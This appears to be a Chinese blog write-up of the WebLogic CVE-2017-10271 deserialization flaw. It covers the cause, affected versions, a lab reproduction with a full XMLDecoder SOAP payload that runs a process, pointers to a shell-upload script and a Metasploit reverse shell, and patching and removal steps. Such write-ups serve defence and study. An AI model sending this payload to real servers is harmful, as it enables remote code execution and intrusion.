CVE-2017-10271 WebLogic中WLS组件漏洞自查及复现

漏洞说明

近期不少安全厂商发现Weblogic主机被攻击者植入恶意程序,经分析,攻击者利用Weblogic WLS 组件漏洞(CVE-2017-10271),构造payload下载并执行虚拟币挖矿程序,对Weblogic中间件主机进行攻击。

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

通过分析发现漏洞引发原因是Oracle官方的JDK组件中“XMLDecoder”类在反序列化操作时引发了代码执行,Weblogic “wls-wsat”组件在反序列化操作时使用了“XMLDecoder”类进行XML反序列操作引发了代码执行,在关注本次漏洞的同时,近期可能会有其他使用了“XMLDecoder”类进行反序列化操作的程序爆发类似漏洞,还需及时关注,同时在安全开发方面应避免使用“XMLDecoder”类进行XML反序列化操作。

漏洞编号&影响范围

CVE-2017-10271

影响范围

受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。

检查工具

请将该网址(百度网盘地址)复制到浏览器中执行即可下载:https://pan.baidu.com/s/1bpg3ppl

《CVE-2017-10271 WebLogic中WLS组件漏洞自查及复现》

漏洞复现

下载WebLogic Server 版本: 10.3.6.0,安装完成后访问链接存在及环境部署完成。可以先采用检查工具进行简单的测试存在漏洞。

http://192.168.135.20:7001/wls-wsat/CoordinatorPortType

《CVE-2017-10271 WebLogic中WLS组件漏洞自查及复现》

第一种利用burp抓包提交POC,文章写的很详细了我就不复现了,详情见http://www.freebuf.com/vuls/158247.html 

 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java version="1.8" class="java.beans.XMLDecoder">
 <void class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>calc</string>
 </void>
 <void index="1">
 <string></string>
 </void>
 <void index="2">
 <string> </string>
 </void>
 </array>
 <void method="start"/></void>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
 </soapenv:Envelope>

第二种采用大师傅写好的脚本,支持回显、cmd、上传shell。

Github:https://github.com/hanc00l/weblogic_wls_wsat_rce

《CVE-2017-10271 WebLogic中WLS组件漏洞自查及复现》

《CVE-2017-10271 WebLogic中WLS组件漏洞自查及复现》

此处配合metasploit,生成powershell脚本,直接反弹回来。

防护方案

官方升级方案 Oracle官方对于Weblogic WLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,升级Weblogic。

详情可参考: http://www.oracle.com/technetwork/cn/topics/security/cpuoct2017-3236626-zhs.html

临时防护方案 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除。

1、根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

2、重启Weblogic域控制器服务。

DOMAIN_NAME/bin/stopWeblogic.sh    #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

 

点赞